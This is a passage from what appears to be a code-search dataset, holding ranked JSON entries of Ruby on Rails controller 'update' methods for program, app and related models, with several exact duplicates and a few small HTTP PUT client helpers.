"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f357b9abbefa19999e456f43a719b62e",
"score": "0.6117422",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2e556bbb6c1e593329b31c3e95d2bf72",
"score": "0.61150753",
"text": "def update\n\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to processor_programs_path(@processor, @program), notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n\n no_nils(@program)\n @program.save\n\n end",
"title": ""
},
{
"docid": "8a47ab9e9c2aed6b26c260a0210e0cf6",
"score": "0.6110109",
"text": "def update\n @program = Program.find(params[:id])\n\t\texpire_page :controller => :programs, :action => :vods\t\n\t\tcookies[:progcategory] = @program.program_category_id.to_s\n\n\t\tparams[:program_description].each { |id, pdata|\n\t\t\tpd = ProgramDescription.find(id)\n\t\t\tunless pd.update_attributes(pdata)\n\t\t\t\tflash[:notice] = 'Program description update failed.'\n\t\t\t\trender :action => \"edit\"\n\t\t\t\treturn\n\t\t\tend\n\t\t}\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n flash[:notice] = 'Program was successfully updated.'\n format.html { redirect_to(programs_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.60961074",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.60961074",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.60961074",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.60961074",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.60961074",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6baebc6739bbf7f00dac72cf76b481bd",
"score": "0.60961074",
"text": "def update\n respond_to do |format|\n if @program.update(program_params)\n format.html { redirect_to @program, notice: 'Program was successfully updated.' }\n format.json { render :show, status: :ok, location: @program }\n else\n format.html { render :edit }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ed186e9bb58308830cbbf75829525366",
"score": "0.6087991",
"text": "def update\n @odeme_program = Odeme::Program.find(params[:id])\n\n respond_to do |format|\n if @odeme_program.update_attributes(params[:odeme_program])\n format.html { redirect_to @odeme_program, notice: 'Program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @odeme_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "43f850e6f2e7bbd9702cbb0eedd7ac65",
"score": "0.6081142",
"text": "def update\n @programme = Programme.find(params[:id])\n\n respond_to do |format|\n if @programme.update_attributes(params[:programme])\n format.html { redirect_to(@programme, :notice => t('programme.title')+\" \"+t('updated')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @programme.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1a62edb03e513e80c1892c5332437ccd",
"score": "0.6076084",
"text": "def update\n authorize! :update, Program\n if @program.update(program_params)\n render json: @program\n else\n render_errors @program\n end\n end",
"title": ""
},
{
"docid": "8326e6e31a591d2fde0cc83d4f144603",
"score": "0.6075866",
"text": "def update\n @program = Program.find(params[:id])\n @program.type = params[:program][:type]\n @program.users = User.find(params[:users])\n\n respond_to do |format|\n if @program.update_attributes(params[:program])\n flash[:notice] = \"Program '#{@program}' was successfully updated.\"\n format.html { redirect_to program_url(@program) }\n format.xml { head :ok }\n format.js { render :template => 'programming/programs/success' }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @program.errors.to_xml }\n format.js { render :template => 'programming/programs/error' }\n end\n end\n end",
"title": ""
},
{
"docid": "47dd602e5a3becd9d42d97e33d7b4c3a",
"score": "0.6068724",
"text": "def update\n respond_to do |format|\n if @programs_target_program.update params\n format.html { redirect_to @programs_target_program, notice: 'Target program was successfully updated.' }\n format.json { render :show, status: :ok, location: @programs_target_program }\n else\n format.html { render :edit }\n format.json { render json: @programs_target_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b44cdafe65664203a8a6e1cecffe18d",
"score": "0.60611194",
"text": "def update\n @programacao = Programacao.find(params[:id])\n\n respond_to do |format|\n if @programacao.update_attributes(params[:programacao])\n format.html { redirect_to(@programacao, :notice => 'Programacao was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @programacao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "000f459699cfb40a9a38ae2fb3adffa6",
"score": "0.6043895",
"text": "def update\n @a_setting_program = ASettingProgram.find(params[:id])\n\n respond_to do |format|\n if @a_setting_program.update_attributes(params[:a_setting_program])\n format.html { redirect_to @a_setting_program, notice: 'A setting program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @a_setting_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "870817868ceda9643932c2d09ff8d8e7",
"score": "0.60305077",
"text": "def update\n @program = Program.find(params[:id])\n \n if params[:funnel_stage_id].present?\n @program.update_attributes(\"funnel_stage_id\" =>params[:funnel_stage_id])\n else\n @program = Program.find(params[:id])\n end\n respond_to do |format|\n if @program.update_attributes(params[:program])\n format.html { redirect_to \"/\", notice: 'Program was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a376ecc10d53fa4f3ba66ea7919da906",
"score": "0.60188276",
"text": "def update\n @program_tag = ProgramTag.find(params[:id])\n\n respond_to do |format|\n if @program_tag.update_attributes(params[:program_tag])\n flash[:notice] = 'ProgramTag was successfully updated.'\n format.html { redirect_to(@program_tag) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_tag.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "70bf68e5bee6bf1d18ca5e3c102ec9cf",
"score": "0.598635",
"text": "def update\n @test_prog = TestProg.find(params[:id])\n\n respond_to do |format|\n if @test_prog.update_attributes(params[:test_prog])\n format.html { redirect_to(@test_prog, :notice => 'Test prog was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_prog.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a03f46763adb97144df386cf0ae6da3f",
"score": "0.5973521",
"text": "def update\n @user_program = UserProgram.find(params[:id])\n\n respond_to do |format|\n if @user_program.update_attributes(params[:user_program])\n format.html { redirect_to @user_program, notice: 'User program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a1922105123abb5842a9eb81c0c27199",
"score": "0.59691507",
"text": "def update\n @program_step = ProgramStep.find(params[:id])\n\n respond_to do |format|\n if @program_step.update_attributes(params[:program_step])\n format.html { redirect_to([:scaffold, @program_step], :notice => 'Program step was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_step.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2bbcdae549de1bf533998b4b0a45ccec",
"score": "0.5964359",
"text": "def update\n @programa = Programa.find(params[:id])\n\n respond_to do |format|\n if @programa.update_attributes(params[:programa])\n format.html { redirect_to @programa, :notice => 'Programa was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @programa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a0d45dc494741cb916dd47dcf685f731",
"score": "0.5938144",
"text": "def update\n respond_to do |format|\n if @collection_program.update(collection_program_params)\n format.html { redirect_to @collection_program }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @collection_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "648c7b3a758b3a9285999a242adf880e",
"score": "0.5928607",
"text": "def update\n @experiment_system_app = ExperimentSystemApp.find(params[:id])\n\n respond_to do |format|\n if @experiment_system_app.update_attributes(params[:experiment_system_app])\n format.html { redirect_to @experiment_system_app, notice: 'Experiment system app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment_system_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e38e006e7dc6672b9e740d22b8651ee3",
"score": "0.5891021",
"text": "def update\n #respond_to do |format|\n #if @program_chef.update(program_chef_params)\n #format.html { redirect_to @program_chef, notice: 'Program chef was successfully updated.' }\n #format.json { render :show, status: :ok, location: @program_chef }\n #else\n #format.html { render :edit }\n #format.json { render json: @program_chef.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"title": ""
},
{
"docid": "121c485c9f0e8c02c2f3f47cbfc4eaf0",
"score": "0.58899164",
"text": "def update\n @secmorapp = Secmorapp.find(params[:id])\n\n respond_to do |format|\n if @secmorapp.update_attributes(params[:secmorapp])\n flash[:notice] = 'Secmorapp was successfully updated.'\n format.html { redirect_to(@secmorapp) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @secmorapp.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2b8aa9898f315d530f4cee79aabe6614",
"score": "0.5882136",
"text": "def update\n respond_to do |format|\n if @program_model.update(program_model_params)\n format.html { redirect_to @program_model, notice: 'Program model was successfully updated.' }\n format.json { render :show, status: :ok, location: @program_model }\n else\n format.html { render :edit }\n format.json { render json: @program_model.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d4300ebc079089c484908c6e393a457",
"score": "0.58779484",
"text": "def update\n @program_description = ProgramDescription.find(params[:id])\n\n respond_to do |format|\n if @program_description.update_attributes(params[:program_description])\n flash[:notice] = 'ProgramDescription was successfully updated.'\n format.html { redirect_to(@program_description) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_description.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6af2b505e11eaf304f6165147563765f",
"score": "0.58774674",
"text": "def update\n @program_tag = ProgramTag.find(params[:id])\n\n respond_to do |format|\n if @program_tag.update_attributes(params[:program_tag])\n format.html { redirect_to @program_tag, notice: 'Program tag was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program_tag.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "23b5f5e4dacfb330cb1e0ffd4590ef63",
"score": "0.5876048",
"text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end",
"title": ""
},
{
"docid": "38979984bdedacd95706689e25f09f9e",
"score": "0.587477",
"text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end",
"title": ""
},
{
"docid": "e39ea5b7636d925945ac0d8a33385517",
"score": "0.5872588",
"text": "def update\n respond_to do |format|\n if @live_program.update(live_program_params)\n format.html { redirect_to @live_program, notice: 'Live program was successfully updated.' }\n format.json { render :show, status: :ok, location: @live_program }\n else\n format.html { render :edit }\n format.json { render json: @live_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e39ea5b7636d925945ac0d8a33385517",
"score": "0.5872588",
"text": "def update\n respond_to do |format|\n if @live_program.update(live_program_params)\n format.html { redirect_to @live_program, notice: 'Live program was successfully updated.' }\n format.json { render :show, status: :ok, location: @live_program }\n else\n format.html { render :edit }\n format.json { render json: @live_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1a91ba769485fe1e481557a1d2ef6bd",
"score": "0.5868106",
"text": "def update\n respond_to do |format|\n if @heart_program.update(heart_program_params)\n format.html { redirect_to @heart_program.sick, notice: 'Heart program was successfully updated.' }\n format.json { render :show, status: :ok, location: @heart_program }\n else\n format.html { render :edit }\n format.json { render json: @heart_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6bb560b52d427e965775b30e797ee4c",
"score": "0.586499",
"text": "def update\n respond_to do |format|\n if @program_examan.update(program_examan_params)\n format.html { redirect_to @program_examan, notice: 'Program examan was successfully updated.' }\n format.json { render :show, status: :ok, location: @program_examan }\n else\n format.html { render :edit }\n format.json { render json: @program_examan.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e22d73710c40018c59dec28b35b56d63",
"score": "0.58580744",
"text": "def update\n @program = Program.find(params[:id])\n\n respond_to do |format|\n if @program.update_attributes(params[:post])\n format.html { redirect_to @program, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "28c8e2b08c41760a3301dc226610a8fc",
"score": "0.5837395",
"text": "def update\n authorize! :update, @admin_online_program\n\n respond_to do |format|\n if @admin_online_program.update(admin_online_program_params)\n format.html { redirect_to @admin_online_program, notice: 'Online program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_online_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f93e149a2d931cb8b34c719f72cbcb67",
"score": "0.5825327",
"text": "def update\n authorize @study_program\n respond_to do |format|\n if @study_program.update(study_program_params)\n format.html { redirect_to @study_program, notice: 'Študijski program uspešno posodobljen.' }\n format.json { render :show, status: :ok, location: @study_program }\n else\n format.html { render :edit }\n format.json { render json: @study_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3de25d4db9ac7e8554bc4ac68dcfda28",
"score": "0.5824183",
"text": "def update\n @stethoscope = Stethoscope.find(params[:id])\n \n @stethoscope.routines.each do |routine|\n routine.events << Event.new(:status => 4, :returned => {\"Notice\" => \"server name changed to #{params[:stethoscope][:server]}\"})\n end\n \n respond_to do |format|\n if @stethoscope.update_attributes(params[:stethoscope])\n \n format.html { redirect_to(@stethoscope, :notice => 'Stethoscope was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stethoscope.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3eca9965c8b0ae64238de41de64bbab",
"score": "0.58063424",
"text": "def update\n @app = ClientApp.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to(@app, :notice => 'ClientApp was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "608d2f58e93e2a844cba814b363df9ef",
"score": "0.5786734",
"text": "def update(id, name=\"Updated Name\", extension=0000)\n xml_req =\"{\\\"device\\\":{ \\\"id\\\":#{id},\\\"number\\\":\\\"#{number}\\\",\\\"name\\\":\\\"#{name}\\\",\\\"address\\\":\\\"#{address}\\\"}}\"\n \n \n request = Net::HTTP::Put.new(\"#{@url}/#{id}.json\")\n request.add_field \"Content-Type\", \"application/json\"\n request.body = xml_req\n \n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n \n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"title": ""
},
{
"docid": "5ace31cb911758450900575152f4aca1",
"score": "0.5770622",
"text": "def update\n @ku_user = current_user\n @personal_program = PersonalProgram.find(params[:personal_program_id])\n @property_count = 0\n find_unuse_program_and_file\n respond_to do |format|\n if @personal_chef_resource.update(personal_chef_resource_params)\n UserPersonalProgram.where(:personal_program_id => @personal_program.id).update_all(:was_updated => true)\n UserPersonalProgram.where(:personal_program_id => @personal_program.id, :state => \"none\").update_all(:state => \"update\")\n format.html { redirect_to edit_personal_program_personal_chef_resource_path(@personal_program, @personal_chef_resource), :flash => { :success => \"Action was successfully updated.\" } }\n format.json { render :show, status: :ok, location: edit_personal_program_personal_chef_resource_path(@personal_program, @personal_chef_resource) }\n else\n format.html { render :edit }\n format.json { render json: @personal_chef_resource.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ff16a8fc07794f29a6e1755683de250",
"score": "0.57694733",
"text": "def update\n respond_to do |format|\n if @commission_program.update(commission_program_params)\n format.html { redirect_to commission_programs_path, notice: 'Commission program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @commission_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d692a534cf01b286d95cc5931bed88d5",
"score": "0.57671183",
"text": "def update\n @program_template = ProgramTemplate.find(params[:id])\n\n respond_to do |format|\n if @program_template.update_attributes(params[:program_template])\n flash[:notice] = 'ProgramTemplate was successfully updated.'\n\n \n # format.html { redirect_to(@program_template) }\n format.html { redirect_to(\"/programs/\" + @program_template.program.id.to_s + \"#action_items\") }\n\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_template.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "618b45e3641c2ec6a56fb4f04b96ee76",
"score": "0.5754835",
"text": "def update\n respond_to do |format|\n if @vendor_program.update(vendor_program_params)\n format.html { redirect_to @vendor_program, notice: 'Vendor program was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vendor_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4de6c0dc568acfb5656ed9aff20a7a41",
"score": "0.5745242",
"text": "def update\n respond_to do |format|\n if @entrepreneur_program.update(entrepreneur_program_params)\n format.html { redirect_to @entrepreneur_program, notice: 'Entrepreneur program was successfully updated.' }\n format.json { render :show, status: :ok, location: @entrepreneur_program }\n else\n format.html { render :edit }\n format.json { render json: @entrepreneur_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b2eb6bf7592050556fa75bcd55ca9ca0",
"score": "0.57404834",
"text": "def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n flash[:notice] = 'Apps was successfully updated.'\n format.html { redirect_to([:cms,@app]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9c3247bde9c3505b3b526f0addd75d06",
"score": "0.5739524",
"text": "def update\n respond_to do |format|\n if @week_program.update(week_program_params)\n format.html { redirect_to @week_program, notice: 'Week program was successfully updated.' }\n format.json { render :show, status: :ok, location: @week_program }\n else\n format.html { render :edit }\n format.json { render json: @week_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59a5d7419ebebd3ea9837d3067b854c2",
"score": "0.57370645",
"text": "def update\n if request.format == 'yaml'\n @spec.update_attribute(:body, body = request.body.read) \n else\n @spec.update_attributes(spec_params)\n end\n respond_to do |format|\n format.html { redirect_to app_path(@app), notice: 'Spec was successfully updated.'}\n format.yaml { render text: @spec.body }\n end\n end",
"title": ""
},
{
"docid": "7df4bdf44818d0ecb037b1ac4522a10a",
"score": "0.57124585",
"text": "def update\n @finding_system_app = FindingSystemApp.find(params[:id])\n\n respond_to do |format|\n if @finding_system_app.update_attributes(params[:finding_system_app])\n format.html { redirect_to @finding_system_app, notice: 'Finding system app was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @finding_system_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa9db5766db4efc3cd85116fd9668a1c",
"score": "0.57063365",
"text": "def update\n @program_draft = ProgramDraft.find(params[:id])\n\n respond_to do |format|\n if @program_draft.update_attributes(params[:program_draft])\n format.html { redirect_to([:scaffold, @program_draft], :notice => 'Program draft was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_draft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ec2ab0adde01df85024396c4157645de",
"score": "0.5700446",
"text": "def update\n @app = App.find(params[:id])\n\n respond_to do |format|\n if @app.update_attributes(params[:app])\n format.html { redirect_to(@app, :notice => 'App was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @app.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3ec59094ad17aec10d8830041042d992",
"score": "0.56972736",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "3ec59094ad17aec10d8830041042d992",
"score": "0.56972736",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "3ec59094ad17aec10d8830041042d992",
"score": "0.56972736",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "3ec59094ad17aec10d8830041042d992",
"score": "0.56972736",
"text": "def set_program\n @program = Program.find(params[:id])\n end",
"title": ""
},
{
"docid": "7dcf61d28367255f0ec9cea7ade341de",
"score": "0.56937766",
"text": "def update(id, name=\"Updated Name\", published=\"false\", genre=\"movie\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <id type='integer'>#{id}</id>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"title": ""
},
{
"docid": "d20306baa3f5e186c7827b8c1e24f66a",
"score": "0.56909615",
"text": "def update\n respond_to do |format|\n if @subprogram.update(subprogram_params)\n format.html { redirect_to @subprogram, notice: 'El subprograma se ha actualizado.' }\n format.json { render :show, status: :ok, location: @subprogram }\n else\n format.html { render :edit }\n format.json { render json: @subprogram.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97073fdd4b6ef33eb35b7fa17130e2d9",
"score": "0.5680597",
"text": "def update\n @program_link_resource = ProgramLinkResource.find(params[:id])\n\n respond_to do |format|\n if @program_link_resource.update_attributes(params[:program_link_resource])\n format.html { redirect_to([:scaffold, @program_link_resource], :notice => 'Program link resource was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @program_link_resource.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "72359a88c0e48b58e21a735966a1bc90",
"score": "0.56732243",
"text": "def update\n @components_stem = Components::Stem.find(params[:id])\n\n respond_to do |format|\n if @components_stem.update_attributes(params[:components_stem])\n format.html { redirect_to(@components_stem, :notice => 'Stem was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @components_stem.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73aa05d6d81197751bf5fd5469326cc2",
"score": "0.5671555",
"text": "def update\n @prog = Prog.find(params[:id])\n\n respond_to do |format|\n if @prog.update_attributes(params[:prog])\n format.html { redirect_to(@prog, :notice => 'Prog was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @prog.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a49648be0753339d0c22b62660fd832a",
"score": "0.5666768",
"text": "def update\n respond_to do |format|\n if @programa.update(programa_params)\n format.html { redirect_to @programa, notice: 'O programa foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @programa }\n else\n format.html { render :edit }\n format.json { render json: @programa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f048208fa975547124e73eb7cbed881b",
"score": "0.5666631",
"text": "def update\n @startup = Startup.find(params[:id])\n\n respond_to do |format|\n if @startup.update_attributes(params[:startup])\n format.html { redirect_to(@startup, :notice => 'Startup was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @startup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f048208fa975547124e73eb7cbed881b",
"score": "0.5666631",
"text": "def update\n @startup = Startup.find(params[:id])\n\n respond_to do |format|\n if @startup.update_attributes(params[:startup])\n format.html { redirect_to(@startup, :notice => 'Startup was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @startup.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "20239489b67a184f8a167bd58079c650",
"score": "0.5666043",
"text": "def update\n respond_to do |format|\n if @declared_program.update(declared_program_params)\n format.html { redirect_to @declared_program, notice: 'You successfully updated your declared academic program.' }\n format.json { render :show, status: :ok, location: @declared_program }\n else\n format.html { render :edit }\n format.json { render json: @declared_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "306f94276481bbdfb447a1161fc00bce",
"score": "0.5662111",
"text": "def update\n respond_to do |format|\n if @related_program.update(related_program_params)\n format.html { redirect_to @related_program, notice: 'Related program was successfully updated.' }\n format.json { render :show, status: :ok, location: @related_program }\n else\n format.html { render :edit }\n format.json { render json: @related_program.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "857282b020c2686fb46f2243761eac29",
"score": "0.56537634",
"text": "def modify_application(id, params={})\n data = Hash.new\n data[:name] = params[:name] if params[:name]\n data[:env] = params[:env] if params[:env]\n data[:dev_pem] = params[:dev_pem] if params[:dev_pem]\n data[:prod_pem] = params[:prod_pem] if params[:prod_pem]\n\n data = data.to_json\n put \"/application/#{id}\", data\n end",
"title": ""
},
{
"docid": "954d441d90266135c0b7188689de0657",
"score": "0.5652835",
"text": "def update\n @sponsor = Program.find(params[:id])\n respond_to do |format|\n if is_admin?(@sponsor) and @sponsor.update_attributes(program_params)\n flash[:notice] = 'Sponsor was successfully updated.'\n format.html { redirect_to(sponsor_path(@sponsor)) }\n format.xml { head :ok }\n else\n format.html { render :action => :index }\n format.xml { render :xml => @sponsor.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8c3b2897211f9443672bf6ad890e0386",
"score": "0.5651306",
"text": "def update\n respond_to do |format|\n if @programacion.update(programacion_params)\n format.html { redirect_to @programacion, notice: 'Programacion was successfully updated.' }\n format.json { render :show, status: :ok, location: @programacion }\n else\n format.html { render :edit }\n format.json { render json: @programacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82d0529a6ec0d81868abdbdeff05edad",
"score": "0.56504595",
"text": "def update\n respond_to do |format|\n if @program_quotum.update(program_quotum_params)\n format.html { redirect_to @program_quotum, notice: 'Program quotum was successfully updated.' }\n format.json { render :show, status: :ok, location: @program_quotum }\n else\n format.html { render :edit }\n format.json { render json: @program_quotum.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2499c241b5b13c8049d9b6dc85b55dd8",
"score": "0.56482756",
